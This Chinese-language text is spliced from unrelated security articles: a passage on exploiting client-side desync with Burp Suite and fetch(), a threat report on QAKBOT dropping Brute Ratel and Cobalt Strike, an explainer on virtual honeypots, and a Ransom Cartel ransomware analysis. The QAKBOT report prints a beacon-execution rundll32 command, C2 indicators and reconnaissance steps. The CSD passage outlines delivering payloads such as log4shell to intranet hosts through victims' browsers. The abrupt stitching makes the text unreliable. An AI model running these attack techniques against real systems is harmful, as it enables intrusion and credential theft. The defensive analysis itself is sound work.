要在Burp Suite 中對此進行測試,將兩個請求放入Repeater中的一個標籤組,然後使用單連接發送序列。你還可以在Turbo Intruder 中通過禁用管道並將concurrentConnections 和requestsPerConnection 分別設置為1 和100 來實現此目的。

如果可行,請嘗試更改正文並確認第二個響應按預期更改。這個簡單的步驟旨在確認你對正在發生的事情的心理模型與現實相符。我個人在運行Citrix Web VPN 的系統上浪費了很多時間,只是意識到它只是為發送到某個端點的每個請求發出兩個HTTP 響應。

最後,重要的是要注意目標網站是否支持HTTP/2。 CSD 攻擊通常利用HTTP/1.1 連接重用,並且Web 瀏覽器更喜歡盡可能使用HTTP/2,因此如果目標網站支持HTTP/2,你的攻擊不太可能起作用。有一個例外;一些轉發代理不支持HTTP/2,因此你可以利用任何使用它們的人。這包括公司代理、某些VPN 甚至一些安全工具。

確認現在我們已經找到了CSD 向量,我們需要通過在真實瀏覽器中復制行為來排除任何潛在的漏洞。我推薦使用Chrome,因為它擁有創造CSD漏洞的最佳開發工具。

首先,選擇一個網站來發起攻擊。此網站必須通過HTTPS 訪問,並且位於與目標不同的域中。

接下來,確保你沒有配置代理,然後瀏覽到你的攻擊網站。打開開發人員工具並切換到網絡選項卡。為了幫助調試以後可能出現的問題,我建議進行以下調整:

選擇“保留日誌”複選框。

右鍵點擊列標題並啟用“連接ID”列。

切換到開發人員控制台並使用fetch()執行JavaScript來複製攻擊序列。如下所示:

22.png

我已將獲取模式設置為“no-cors”以確保Chrome 在“網絡”選項卡中顯示連接ID。我還設置了憑據:“包含”,因為Chrome 有兩個獨立的連接池,一個用於帶有cookie 的請求,一個用於不帶cookie 的請求。你通常會想要利用導航,並且那些使用“with-cookies”池。

執行此操作時,你應該在Network 選項卡中看到兩個具有相同連接ID 的請求,第二個應該觸發404:

23.png

如果這如預期的那樣工作,那麼恭喜你,你已經發現自己的客戶端不同步了!

探索過程現在我們已經確認了客戶端異步,下一步就是找到一個小工具來利用它。在Network選項卡中意外觸發404可能會給一些人留下深刻印象,但它不太可能產生任何用戶密碼或獎勵。

至此,我們已經確定我們可以攻擊受害者瀏覽器的連接池,並對我們選擇的HTTP 請求應用任意前綴。這是一個非常強大的原語,它提供了三種廣泛的攻擊途徑。

存儲在檢索位置一種選擇是識別目標網站上允許你存儲文本數據的功能,並編寫前綴,以便受害者的cookie、身份驗證標頭或密碼最終存儲在你可以檢索它們的位置。這種攻擊流程的工作原理與服務器端請求走私幾乎相同,所以我不會詳述。

Chainpivot下一個選項是全新的,由受害者瀏覽器中的新攻擊平台提供。

在正常情況下,很多類型的服務器端攻擊只能由直接訪問目標網站的攻擊者發起,因為它們依賴於瀏覽器拒絕發送的HTTP 請求。這幾乎包括了所有涉及篡改HTTP報頭的攻擊——Web 緩存攻擊、大多數服務器端請求走私、主機標頭攻擊、基於用戶代理的SQLi 以及許多其他攻擊。

例如,不可能讓其他人的瀏覽器在User-Agent 標頭中使用log4shell 有效負載發出以下請求:

24.png

CSD 漏洞為這些針對網站的攻擊打開了大門,這些網站由於位於受信任的內部網或隱藏在基於IP 的限制之後而受到保護。例如,如果intranet.example.com 易受CSD 攻擊,你可以使用以下請求達到相同的效果,可以在瀏覽器中使用fetch() 觸發該請求:

趨勢科技的研究人員最近分析了一個與QAKBOT相關的示例,該示例導致了Brute Ratel C4和Cobalt Strike有效負載,這可以歸因於Black Basta 勒索軟件組織。

QAKBOT的惡意軟件在短暫中斷後於2022年9月8日恢復傳播,當時研究人員在這一天發現了幾個傳播機制。觀察到的傳播方法包括SmokeLoader(使用' snow0x '傳播器ID), Emotet(使用' azd '傳播器ID),以及使用' BB '和' Obama20x ' ID的惡意垃圾郵件。

最近一個涉及QAKBOT ‘BB’傳播器的示例導致部署了Brute Ratel(被趨勢科技檢測為Backdoor.Win64.BRUTEL),這是一個類似於Cobalt Strike的框架,作為第二階段有效負載。這是一個值得注意的進展,因為這是我們第一次通過QAKBOT感染觀察到Brute Ratel作為第二階段有效負載。這次攻擊還包括使用Cobalt Strike進行橫向移動。研究人員認為這些活動是Black Basta 勒索軟件組織所為。

攻擊的時間表1.png

Brute Ratel和其他CC框架的興起

與CobaltStrike一樣,BruteRatel是一種攻擊模擬工具,是商業CC框架領域的相對新的工具,它在該領域與更成熟的競爭者如Cobalt Strike競爭。

像Brute Ratel和Cobalt Strike這樣的攻擊模擬框架經常會被滲透測試專業人員使用,用於合法的滲透測試活動,在這些活動中組織尋求提高他們檢測和響應真實網絡攻擊的能力。這些框架用於從遠程位置提供實際的鍵盤訪問,以模擬攻擊者在網絡攻擊中使用的戰術、技術和過程(TTP)。

除了Cobalt Strike的合法使用示例外,它還因非法使用而臭名昭著,在過去幾年裡,它幾乎經常出現在勒索軟件攻擊中。它用作殭屍網絡的常見第二階段有效載荷,例如QAKBOT (TrojanSpy.Win64.QAKBOT),IcedID (TrojanSpy.Win64.ICEDID),Emotet (TrojanSpy.Win64.EMOTET) 和Bumblebee(Trojan.Win64.BUMBLELOADER) 等。不幸的是,在過去的幾年中,Cobalt Strike的幾個版本已被洩露,從而加速了攻擊者的惡意使用。

與Brute Ratel相比,由於其受歡迎程度高,其檢測覆蓋率比後者更大。這使得Brute Ratel和其他不太成熟的CC框架對惡意攻擊者來說越來越有吸引力,他們的活動可能在很長一段時間內都不會被發現。

Brute Ratel最近在黑市非常受歡迎,該框架的版本在地下組織中交易非常活躍,並發布了破解版本。 Brute Ratel的開發人員在最近的Twitter帖子中承認了這一漏洞。

2.png

QAKBOT 'BB' 到Brute Ratel

3.png

攻擊活動概況

該活動通過垃圾郵件開始,其中包含發送給潛在受害者的惡意新URL。 URL登錄頁面向收件人顯示ZIP文件的密碼。

4.png

已下載ZIP文件以及文件密碼的通知

繞過沙盒和安全檢測在此階段使用受密碼保護的ZIP文件可能是為了逃避安全解決方案的分析。

繞過安全檢測的標誌ZIP文件包含一個. iso文件。使用ISO文件是為了破壞“Mark of the Web (MOTW)” ,該標記將文件標記為從互聯網下載。它使這些文件受到Windows和終端安全解決方案的其他安全措施的影響。 ISO文件包含一個使用“Explorer”圖標的可見LNK文件和兩個隱藏的子目錄,每個子目錄包含各種文件和目錄。默認情況下,Windows操作系統不向用戶顯示隱藏文件。下圖說明了啟用“顯示隱藏文件”設置時用戶看到的內容。

5.png

啟用“顯示隱藏文件”設置時,用戶看到的添加隱藏子目錄

目錄結構如下:

6.png

目錄結構

命令行界面的執行順序QAKBOT在兩個腳本文件之間使用模糊處理,一個JavaScript (.js)文件和一個批處理腳本(.cmd)文件,很可能是為了隱藏看起來可疑的命令行。

9.png

命令行接口的執行順序

初始QAKBOT CC服務器通信C C基礎設施在地理上分佈在主要位於住宅Internet服務提供商(ISP) 寬帶網絡中的受損主機上。

這些“第1層”CC服務器被QAKBOT運營商認為是一次性的,並且幾乎每次有新的惡意軟件傳播時經常被更換,儘管有些服務器在多個QAKBOT惡意軟件配置中仍然存在。

自動化偵察命令在最初的CC通信之後僅6分鐘,並且QAKBOT惡意軟件現在在註入的進程(wermgr.exe)中運行,通過執行多個內置命令行工具在受感染的環境中執行自動偵察。這些命令行的執行順序如下:

10.png

內置命令行的執行順序

該活動在趨勢科技Vision One中可見,它可以檢測到這些內置Windows命令的可疑使用。

11.png

顯示與wermgr.exe相關的活動

QAKBOT釋放Brute Ratel自動偵察活動完成五分鐘後,注入QAKBOT的wermgr.exe進程釋放Brute Ratel DLL,並通過帶有“main”導出函數的rundll32.exe子進程調用它。

12.png

Brute Ratel被wermgr.exe通過rundll32.exe進程調用

該後門是一個HTTPS,它在symantecuptimehost[.]com執行擁有Brute Ratel服務器的簽入:

13.png

Brute Ratel簽入

在環境中執行進一步的偵察,以識別特權用戶。首先,使用內置的net.exe和nltest.exe。

14.png

識別特權用戶的偵察過程

其次,SharpHound實用程序通過Brute Ratel在註入的svchost.exe進程中運行,以輸出JSON文件,這些文件被輸入到BloodHound,並被標記為Active Directory組織單元、組策略、域、用戶組、計算機和用戶。然後將這些文件打包到一個ZIP文件中,以便為信息竊取做準備。整個過程都是腳本化的,只需不到兩秒鐘就可以完成。

15.png

通過svchost.exe輸出JSON文件

Brute Ratel釋放Cobalt Strike有趣的是,攻擊者選擇利用Cobalt Strike進行橫向移動。將幾個信標文件中的第一個文件放到運行Brute Ratel C4的受感染終端上,第一個文件為:C:\Users\Public\Name-123456.xls。

使用以下命令在運行Brute Ratel C4的同一主機上執行此信標文件:rundll32 C:\users\public\Name-123456.xls,DllRegisterServer。

接下來,攻擊者釋放其他信標文件,並將這些文件複製到網絡上其他主機上的管理共享,再次使用帶有XLS附件的文件名。

C:\Users\Public\abcabc.xls

C:\Users\Public\abc-1234.xls

C:\Users\Public\Orders_12_34_56.xls

C:\Users\Public\MkDir.xls

用於復製文件的命令如下:

16.png

以下列表是信標C C服務器:

hxxps://fewifasoc[.]com | 45.153.242[.]251

hxxps://hadujaza[.]com | 45.153.241[.]88

hxxps://himiketiv[.]com | 45.153.241[.]64

在採取任何最終行動之前,攻擊者會被從環境中驅逐出去。

到Brute Ratel的QAKBOT ‘Obama’在另一個事件中,趨勢科技發現QAKBOT使用‘Obama’傳播者ID前綴(即“Obama208”)也將Brutel Ratel C4作為第二級有效負載。

在此示例中,惡意軟件以受密碼保護的ZIP文件的形式通過HTML走私傳遞,這允許攻擊者“走私”編碼的惡意腳本到HTML附件或網頁。一旦用戶在瀏覽器中打開HTML頁面,就會解碼腳本並組裝有效負載。

17.png

QAKBOT傳播者使用密碼保護來抵禦網絡和沙箱安全掃描

一旦使用HTML附件中提供的密碼解密了ZIP文件,用戶就會看到一個ISO文件。惡意文件包含在ISO文件中,被用作Web繞過的標記。在內部,ISO文件包含以下目錄結構:

18.png

ISO文件目錄結構

自從QAKBOT回歸以來,研究人員觀察到執行鏈中的多種形式,從腳本語言到文件擴展名,再到導出函數名和序號的使用。對於這種感染,使用的是以下變體:

19.png

感染過程與上述攻擊中描述的TTP(戰術、技術和程序)相同。但是,在C2配置中觀察到一個顯著差異,與更傳統的HTTPS C2通道相比該配置使用HTTPS (DoH) 上的DNS。觀察到的C C服務器使用了帶有let's-Encrypt的HTTPS。

通過使用DoH,攻擊者可以隱藏C2域的DNS查詢。如果沒有使用中間人(MitM) 技術檢查SSL/TLS流量,則對C2服務器的DNS查詢將不會被注意到。

20.png

通過HTTPS (DoH)上的DNS執行C C通信的Brute Ratel進程。在採取任何最終行動之前,攻擊已經得到緩解

與Black Basta的關係21.png

QakBot到Black Basta攻擊中使用的Brute Ratel和Cobalt Strike基礎結構

根據調查,研究人員可以確定QAKBOT-to-Brute Ratel-to-Cobalt Strike攻擊鏈與Black Basta組織有關。這是基於在Black Basta攻擊中觀察到的重疊ttp和基礎設施來判斷的。

總結用戶可以通過以下一些最佳實踐來阻止新的QAKBOT變體和其他通過電子郵件傳播的攻擊:

在下載附件或從電子郵件中選擇嵌入式鏈接之前,請驗證電子郵件發件人和內容;

將指針懸停在嵌入鏈接上方以顯示鏈接的目標;

檢查發件人的身份,不熟悉的電子郵件地址,不匹配的電子郵件和發件人姓名,以及偽造的公司郵件都是危險跡象;

如果電子郵件聲稱來自合法公司,請在採取任何行動之前驗證他們是否確實發送了電子郵件。

虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量,今天我們來淺析一下虛擬蜜罐。

蜜罐可以運行任何操作系統和任意數量的服務。蜜罐根據交互程度(Level ofInvolvement)的不同可以分為高交互蜜罐和低交互蜜罐。蜜罐的交互程度是指攻擊者與蜜罐相互作用的程度,高交互蜜罐提供給入侵者一個真實的可進行交互的系統,相反,低交互蜜罐只可以模擬部分系統的功能。高交互蜜罐和真實係統一樣可以被完全攻陷,允許入侵者獲得系統完全的訪問權限,並可以以此為跳板實施進一步的網絡攻擊。相反的,低交互蜜罐只能模擬部分服務、端口、響應,入侵者不能通過攻擊這些服務獲得完全的訪問權限。

蜜罐分為高交互蜜罐、低交互蜜罐、物理蜜罐、虛擬蜜罐。從實現方法上來分,蜜罐可分為物理蜜罐和虛擬蜜罐。物理蜜罐是網絡上一台真實的完整計算機,虛擬蜜罐是由一台計算機模擬的系統,但是可以響應發送給虛擬蜜罐的網絡流量。今天我們來淺析一下虛擬蜜罐。

1.png

對比物理蜜罐而言,虛擬蜜罐要容易得多。可以在一台計算機上部署數千個蜜罐,代價低廉,幾乎所有人都可以很容易地使用它們,並且使得其更加容易維護以及較低的物理需求。很多時候我們會使用VMware或者用戶模式的Linux (UML)等來建立虛擬蜜罐,這些虛擬系統工具可以在一台物理計算機上運行多個蜜罐系統及應用程序來收集數據。

虛擬蜜罐通常會模擬出真實的操作系統,並將其部屬在一台宿主主機上。在虛擬系統中虛擬出漏洞,產生虛假的流量,偽裝不存在的文件地址,存儲真實但無意義的文件,對網絡中的各種信息進行模擬等,來更好的吸引入侵者的攻擊虛擬蜜罐。

一是IP地址的空間欺騙。用一台主機就可以完成,利用在一個網卡來分配複數個IP地址,並對每一個IP地址配置單獨的MAC地址,可以完成多個主機的虛擬。

第二個是仿真網絡流量。因為虛擬蜜罐在一般情況下不會與其他主機主動進行交互,也就沒有任何的網絡流量,容易被入侵者根據這一點識破虛擬蜜罐。所以產生方針流量以後,可以欺騙入侵者,使入侵者無法通過對流量的觀察來判斷虛擬蜜罐的存在。

第三個是系統的動態配置。在正常狀態下,一個虛擬蜜罐的狀態是靜態的,沒有交互和網絡流量,一些有經驗的入侵者可以通過觀察系統的狀態來判斷是否是虛擬蜜罐。而係統的動態配置正是針對這一點,虛擬蜜罐的系統狀態會不斷的發生變化,會盡可能的模擬一個真實係統的行為,防止入侵者輕易的就發現虛擬蜜罐,導致其失去作用。

第四個是組織信息欺騙。可以在虛擬蜜罐裡設置一些個人信息,或者存儲一些沒有意義的虛假信息、文件等,可以讓虛擬蜜罐看起來更像是一個有人使用的真實係統,增加對入侵者的迷惑性。

第五個是端口重定向技術。這種技術可以對地址進行數次轉換,區別真實和虛擬網絡,也可以對常用端口進行重定向,達到隱藏這些端口的目的。

當多個蜜罐組成網絡時稱為密網,而一個密網的核心是蜜牆,也就是密網網關。蜜牆主要功能:

數據捕捉:可以在不被入侵者察覺的情況下,對密網內所有的活動和網絡數據信息進行捕捉。

數據控制:對進出密網的數據進行流量控制。這樣可以在內部蜜罐被攻破以後,確保其所有的活動依然被限制在蜜網之內。

數據分析:幫助密網管理者簡化捕捉數據分析,並可以幫助計算機和網絡取證。

常用的實現虛擬蜜罐的技術主要有VMware、用戶模式Linux、Argos、LaBrea、Honeyd等。

(1)VMware技術VMware公司是老牌的虛擬化軟件公司之一,其提供了多種虛擬化軟件應對不同的狀況。虛擬化軟件表示軟件可以模擬一個完整的計算機系統,並且可以在同一個虛擬機上可能運行多個不同的操作系統。下面介紹VMware公司的一些產品,這些VMware產品相互之間的不同點。

實際安裝VMware 的物理機器,執行VMware進程的計算機和操作系統實例稱為主機(或宿主主機)。運行在虛擬機內部的操作系統被稱為客戶系統或客戶虛擬機。兩種系統之間的交互是完全透明的,例如在主機和客戶系統之間,使用VMware可以共享文件夾、複製粘貼各種文件。

虛擬系統起到一個類似於模擬器的作用,主機的物理CPU和內存資源可以被主機與客戶虛擬機共享,但同時客戶操作系統也可以從VMware中分配到一套完整的虛擬硬件資源。例如,在多個客戶系統中,一套相同的虛擬硬件資源可以被所有的客戶系統所使用,就像同一配置的多台計算機安裝不同的操作系統,而且這些虛擬硬件可以在不超過客戶虛擬機配置的情況下任意的進行設置,不需要考慮真實物理硬件資源,這些硬件資源都可以連至主機系統。

2.png

(2)用戶模式Linux用戶模式Linux 是另一種可以用來創建虛擬蜜罐的系統,用法十分簡單,但是與VMware相比,主要缺點就是它只能模擬Linux系統。

UML是一個Linux內核的體系結構端口,系統內稱為接口。 Linux內核本身可以作為一個用戶進程來運行,實際的Linux內核(主機系統〉執行另外一個Linux(客戶系統)實例,把它作為一個進程。這個過程與VMware 中的虛擬機類似,每一個UML實例都是一個完整的虛擬機,與一個真實的計算機幾乎沒什麼區別。於是就有了一個簡單的方法來實現虛擬機,直接使用UML建立一個虛擬蜜罐,獲得一個虛擬系統提供的所有優點。在配置或穩定性上,客戶系統不會影響到主機系統。UML的塊設備,也稱為磁盤,通常是主機文件系統上的文件,不會影響存儲正常數據的本地塊設備。

UML作為一個操作系統只能運行在Linux上,所以如果運行Windows 或其他系統的時候,不能使用這種方式創建蜜罐。看起來只能選擇Linux系統缺點很嚴重,但也並非沒有好處,使用UML可以方便的創建許多不同的運行Linux的蜜罐。由於UML的塊設備是正常的文件,客戶系統使用這一文件(通常稱為根文件系統)作為一個完整的文件系統,可以很容易的把一個UML實例從一台機器上移植到另一台機器上。 UML 的另一個選項實用性也很強,能夠在寫時復制(copy-on-write,COW)模式下使用文件,UML實例在只讀模式下使用跟文件系統,把所有的更改寫入到一個單獨的文件中-COw文件,使得幾個蜜罐可以同時使用一個根文件系統,即可以節省磁盤空間,又可以便於維護管理。

(3)ARGOS荷蘭阿姆斯特丹自由大學的研究人員開發了一種新型的虛擬高交互蜜罐,該工具被稱為Argos,能夠自動檢測零天(zero-day)攻擊,也就是尚無補丁的攻擊。他們使用一種名為動態污點分析的技術來監測蜜罐:第一步,標記所有通過網絡接收到的數據,通過內存追踪這些標記數據,一旦這些標記數據被使用,影響了執行流程,Argos檢測到這些並產生一個攻擊的內存痕跡。相對於其他虛擬蜜罐解決方案,Argos不只是執行客戶虛擬機,同時還密切監測蜜罐,試圖及時發現攻擊者成功攻陷蜜罐的切入點。

動態污點分析是Argos技術的核心,這種技術根本在於觀察,一個攻擊者控制一個給定程序的執行流程,他一定會是使用某種方式影響它,但不論是何種方式,攻擊者都必須向程序發送一個不正常的輸入,這樣的數據必定會影響執行流,例如,跳轉到攻擊者提供的數據。

在這一過程中,動態污點分析發揮作用,一個程序的所有外部輸入都被當作污點被標記。在分析過程中,密切監視和檢查所有污染變量的使用,當一個污染變量通過其他操作得到的結果也被認為受到污染:但如果一個污染變量被賦予一個固定值,則認為該變量不再是受污染變量。這樣就可以跟踪外部輸入的使用,一旦這種污染輸入用於改變執行流,就可以被檢測出來。對Argos 來說,它產生的信息轉儲包含引起正常執行流偏離的相關信息。這個方法對檢測網絡攻擊靈敏度很高,而且我們檢測攻擊無需任何先驗知識。當一個攻擊發生時,我們可以精確地檢測到,通過分析確定導致該事件的原因。

(4)LaBrea由Tom Liston 創作的LaBrea,因引入了一個tarpit概念而聞名。 tarpit是一種服務,作用是通過使TCP連接非常緩慢或完全停止它們的進程,試圖減緩垃圾郵件發送者發送速度甚至是蠕蟲的傳播速度,雖然tarpit並不能減緩更高級的蠕蟲傳播,然而,對於順序操作的簡單蠕蟲tarpit具有良好的作用。

在網絡上運行LaBrea時,它會發現空閒的IP地址,並代替它們應答連接。一旦連接被建立起來,LaBrea會通過在TCP協議中採用技巧而盡可能長時間地黏住發送者,這樣建立的連接會進入到一種不能再取得任何進展的狀態。拖延連接的原因很簡單,垃圾郵件或病毒發送者在服務器上每多維持一個連接,就減少了向真正的主機發送垃圾郵件的可用資源。

為了檢測一個IP地址是否可用,LaBrea利用ARP協議。每當路由器試圖向一個IP地址交付一個數據包時,它首先需要找到相應的MAC地址,如果沒有主機監聽這一IP地址,ARP不會獲得應答。

例如:12:20:40.439476 arp who-has 192.168.1.123 tell 192.168.1.2

由於ARP在整個網絡上進行廣播,LaBrca 監視來自路由器的ARP請求,如果網絡中沒有主機相應IP地址192.168.1.123,LaBrea就會發送自己的應答:

12:20:42.356431 arp reply 192.168.1.123 is-at 00:3c:2f:1e:52:7a

現在路由器收到了一個MAC地址,就會把這個數據包以及後去的數據包發送給LaBrea 主機。但當一個主機重新啟動,它可能會使用一個已經被LaBrea佔用的IP地址,不過重啟的主機會發送一個無需應答的ARP請求,通知網絡上的所有人新的IP地址和MAC的綁定,那麼LaBrea將會放棄該IP地址。 LaBrea接受網絡上所有空閒的IP地址的TCP連接,當它收到一個SYN包,它就會通過完成TCP 三次握於建立一個連接,然後拖延這個連接。 LaBrea支持兩種放慢連接傳輸速度的方法:

窗口調節:LaBrea接受一個新的連接,但會公佈一個非常小的接收窗口。接收窗口指示發送者,每個數據包不能發送大於窗口允許長度的數據。當採用窗口調節時,連接仍然在繼續,但當一個1000字節長度的包被要求以10個字節長度位單位進行傳輸,顯然傳輸時間會變得非常漫長,速率會變的非常緩慢。

持久捕捉:LaBrea 公佈一個TCP接收窗口的大小為0,指示發送者在繼續發送數據前等待。發送者周期地回訪,發送窗口探測數據包,以確定接收窗口是否再次打開,這種狀態可以一直持續下去。

當垃圾郵件發送者試圖通過一個La Brea 蜜罐發送電子郵件時,SMTP事務將不產生或者產生很小的進程,一個啞垃圾郵件發送者將保持該連接,浪費網絡資源。最終,垃圾郵件發送者一旦發現和La Brea會話沒有取得進展,它可能走掉。

當我們使用DHCP用於IP地址動態分配,LaBrea將接管DHCP地址範圍內目前尚未使用的地址。 DHCP服務器在分發一個IP地址前,往往首先ping該地址,但是LaBrea對ping 的響應會干擾DHCP服務器的判斷。隨著時間的推移,用戶歸還了他們租用的IP地址,最後LaBrea將接管整個DHCP地址空間。所以一個用戶需要知道哪些地址是被他的DHCP服務器使用,並在配置文件中排除它們。

3.png

(5)HoneydHoneyd是一種框架,可以把數千個虛擬蜜罐及對應的網絡集成到一起。通常我們使用Honeyd集成現有網絡上所有未分配的IP地址,對每一個IP地址,都可以設置Honeyd模擬不同的計算機行為。

一般的來說,當一個蜜罐只使用一個IP地址時,可能需要相當長的一段時間才可以探測到攻擊,但當你擁有的IP地址多達成百上千時,可以大大加快被攻擊的速度,這就是Honeyd的作用,以一個低交互虛擬蜜罐的框架,在一個網絡或者Internet 上建立數千個虛擬蜜罐,充分的利用未分配的網絡地址,來更多的觀察攻擊行為,或者用來阻止入侵者攻擊真實係統。

Honeyd通過路由器或代理ARP為其虛擬蜜罐接受流量,對於每一個蜜罐,Honeyd可以模擬不同的操作系統的網絡棧行為。

Honeyd的特性Honcyd可以同時模擬數幾千個不同的虛擬主機:入侵者可以通過網絡與每一個單獨的主機進行交互。可以通過配置Honeyd得到每個主機的不同行為。

通過配置文件可以配置任意服務:當入侵者與虛擬主機進行交互時,Honeyd可以提供與對手交互的任意程序,這些程序服務都可以使用配置文件進行配置。無論何時Honeyd收到一個新的網絡連接,都可以及時啟動事先配置好的服務或者程序,回應入侵者。即使不運行相應的程序,Honeyd也可以作為代理將連接轉接到其他主機上,或者採用類似於被動指紋識別的功能,識別遠程主機和負載的隨即採樣。

在TCP/IP協議棧層次模擬操作系統:這一特性允許Honeyd 欺騙Nmap和Xprobe,讓他們相信一個虛擬蜜罐上正運行著各種配置的操作系統。組建自由路由拓撲:路由拓撲可以任意複雜,可以配置延遲、丟包和帶寬等特徵。 Honeyd支持非對稱路由、物理機器集成到一個虛擬拓撲中,以及通過GRE隧道的分佈式操作。

子系統虛擬化:利用子系統,Honeyd可以在一個蜜罐的虛擬空間下執行真正的UNIX應用,如Web服務器、Ftp服務器等等。這一特徵也允許虛擬地址空間內進行動態端口綁定和網絡連接的後台初始化。

4.png

Honeyd的體系結構Honeyd使用一個簡單的體系結構,一個中央包分發器接受所有入侵者的網絡流量,基於實現確定好的配置,對收到的數據流量來創建不同的服務進程處理,為了匹配所配置操作系統的特徵,使用個性引擎所修改發送出去的網絡數據包。

雖然通過對Honeyd 的配置可以控制它的每一個方面,但是三個重要特徵決定了Honeyd的整體行為:

一是入侵者只能從網絡中與Honeyd進行交互,我們的基本假設是入侵者不能走近計算機或者鍵盤進行登錄,因為任何一個Honeyd模擬的蜜罐沒有與之對應的物理計算機,Honeyd不是模擬操作系統的每一個方面,只有模擬其網絡堆棧所以入侵者永遠無法獲得對一個完整系統的訪問,但是可以通過與虛擬機如VMware相結合,減小Honeyd的這一問題。

二是Honeyd 可以在網絡上佈置大量的虛擬蜜罐,即使分配大量的IP地址Honeyd也都能模擬出,可以具有不同的操作系統和服務,也可以模擬任意的網絡拓撲結構,並支持網絡隧道。

三是可以欺騙指紋識別工具,Honeyd可以反轉指紋識別工具的數據庫,找到數據庫中指紋識別的特徵,當一個蜜罐需要發送一個網絡數據包時,可以通過查找數據庫,改變所有的數出數據包內容,使它們與配置的操作系統特徵相匹配。

結語虛擬蜜罐技術具有物理蜜罐技術的諸多特性,並可以在單一的系統中運行成百上千個虛擬蜜罐,還可以添加諸多應用程序,如網絡誘餌、蠕蟲探測、垃圾郵件阻止、網絡模擬等。相對於物理蜜罐複雜的部署、高額的費用、超長的耗時,虛擬蜜罐技術作為蜜罐技術的突破性解決方案讓網絡安全防護成本降低、效率增加,在網絡安全技術方面也同樣有著重要的作用。

Ransom Cartel是在2021年12月才被發現的勒索軟件即服務(RaaS)。此勒索軟件執行雙重勒索攻擊,並與REvil勒索軟件表現出一些相似之處和技術重疊。從時間維度來說,Ransom Cartel是在REvil勒索軟件消失後幾個月出現的。當Ransom Cartel首次出現時,尚不清楚是REvil的重現還是重用或模仿REvil代碼。

REvil消失的歷史2021年10月,REvil運營商突然中止,其暗網洩露網站也突然無法訪問。大約在2022年4月中旬,個別安全研究人員和網絡安全媒體報導了REvil的一項新進展,這可能意味著該組織的回歸。 REvil在dnpscnbaix6nkwvystl3yxglz7nteicqrou3t75tpcc5532cztc46qyd[.]onion和aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion開始將用戶重定向到blogxxu75w63ujqarv476otld7cyjkq4yoswzt4ijadkjwvg3vrvd5yd[.]onion/Blog。

同一天晚些時候,重定向被刪除。當時,還無法確定是哪個組織發起了重定向,因為這個新的重定向網站並沒有顯示任何名字或隸屬關係。

在重定向開始時,網站上沒有列出任何違規組織。隨著時間的推移,攻擊者開始添加出現在重定向網站上的記錄,大部分是在2021年4月下旬至10月期間。他們還包括以前REvil使用的文件共享鏈接作為攻擊的證據。

新的重定向網站列出了Tox Chat ID,用於與勒索軟件運營商進行通信。該網站暗示其運營商與REvil的聯繫,並聲稱該新組織提供了“相同但經過改進的軟件”。

unit42最初認為該網站與Ransom Cartel有關,攻擊者提到的“改進軟件” 是新的Ransom Cartel變體。然而,在進一步分析和看到更多證據後,研究人員認為這和Ransom Cartel毫無任何關係。

無論新的重定向網站是由Ransom Cartel還是由其他組織運營的,很明顯的是,儘管REvil可能已經消失,但其惡意影響力並未消失。新成立的組織似乎可以訪問REvil或與其建立聯繫。同時,我們對Ransom Cartel樣本的分析(在下面的部分中詳細介紹) 也提供了與REvil有關的有力證據。

Ransom Cartel概述研究人員大約在2022年1月中旬第一次觀察到Ransom Cartel。 MalwareHunterTeam的安全研究人員認為,該組織至少自2021年12月以來一直活躍。他們觀察到第一個已知的Ransom Cartel活動,並註意到與REvil勒索軟件的一些相似之處和技術重疊。

關於Ransom Cartel的起源有許多猜測。其中一種猜測是,Ransom Cartel可能是多個組織融合的結果。然而,MalwareHunterTeam的研究人員提出,其中一個被認為已經合併的組織否認與Ransom Cartel有任何联系。此外,unit42發現其中許多組織與REvil有聯繫外,沒有發現這些組織與Ransom Cartel有聯繫。

目前,研究人員認為Ransom Cartel運營商可以訪問REvil ransomware的早期版本的源代碼,但不能訪問一些最新的開發(有關更多詳細信息,請參閱Ransom Cartel和REvil代碼比較)。這表明,在某種程度上,這些組織之間存在著某種關係,儘管這種關係可能不是最近才出現的。

unit42還觀察到Ransom Cartel組織的攻擊目標,2022年1月左右在美國和法國觀察到第一個已知的受害者。 Ransom Cartel攻擊了以下行業的企業: 教育,製造業,公用事業和能源。 unit42事件響應者還協助客戶在幾起Ransom Cartel案件中做出反應。

像許多其他勒索軟件組織一樣,Ransom Cartel利用雙重勒索技術。 unit42觀察到該組織採取了更激進的態度,威脅不僅要將竊取的數據發佈到他們的洩露網站上,還會將數據發送給受害者的合作夥伴、競爭對手和新聞媒體,以造成名譽損害。

Ransom Cartel通常通過被破壞的憑證獲得對環境的初始訪問權,這是勒索軟件運營商初始訪問的最常見途徑之一。這包括外部遠程服務、遠程桌面協議(RDP) 、安全shell協議(SSH) 和虛擬專用網絡(vpn) 的訪問憑證。這些憑證在網絡黑市中被廣泛可用,並為攻擊者提供了一種可靠的手段來訪問受害者的公司網絡。

這些憑據也可以通過勒索軟件運營商本身的活動或通過從初始訪問代理購買來獲得。

初始訪問代理是提供出售受損網絡訪問的攻擊者。他們的動機不是自己進行網絡攻擊,而是向其他攻擊者出售訪問權限。由於勒索軟件的盈利能力,這些代理可能會根據他們願意支付的金額與RaaS組織建立合作關係。

unit42已經發現Ransom Cartel依靠這種類型的服務來獲得對勒索軟件部署的初始訪問權限的證據。 Unit 42還觀察到Ransom Cartel在攻擊企業網絡時對Windows和Linux VMWare ESXi服務器進行加密。

在Ransom Cartel攻擊中觀察到的戰術、技術和程序unit42使用一種名為DonPAPI的工具觀察到一名Ransom Cartel攻擊者,這種工具在過去的事件中從未被發現過。該工具可以定位和檢索Windows數據保護API (DPAPI)受保護的憑證,這被稱為DPAPI轉儲。

DonPAPI用於搜索設備上已知為DPAPI blob的某些文件,包括Wi-Fi密鑰、RDP密碼、保存在web瀏覽器中的憑證等。為了避免被反病毒(av)或終端檢測和響應(EDR)檢測到的風險,該工具下載文件並在本地解密。為了破壞Linux ESXi設備,Ransom Cartel使用DonPAPI獲取存儲在web瀏覽器中的憑據,用於對vCenter web界面進行認證。

研究人員還觀察到攻擊者使用了其他工具,包括恢復本地存儲的憑據的LaZagne和從主機內存竊取憑據的Mimikatz。

為了建立對Linux ESXi設備的持久訪問,攻擊者在對vCenter進行身份驗證後啟用SSH。攻擊者將創建新的帳戶,並將帳戶的用戶標識符(UID)設置為零。對於Unix/Linux用戶,UID=0表示root。這意味著任何安全檢查都被繞過了。

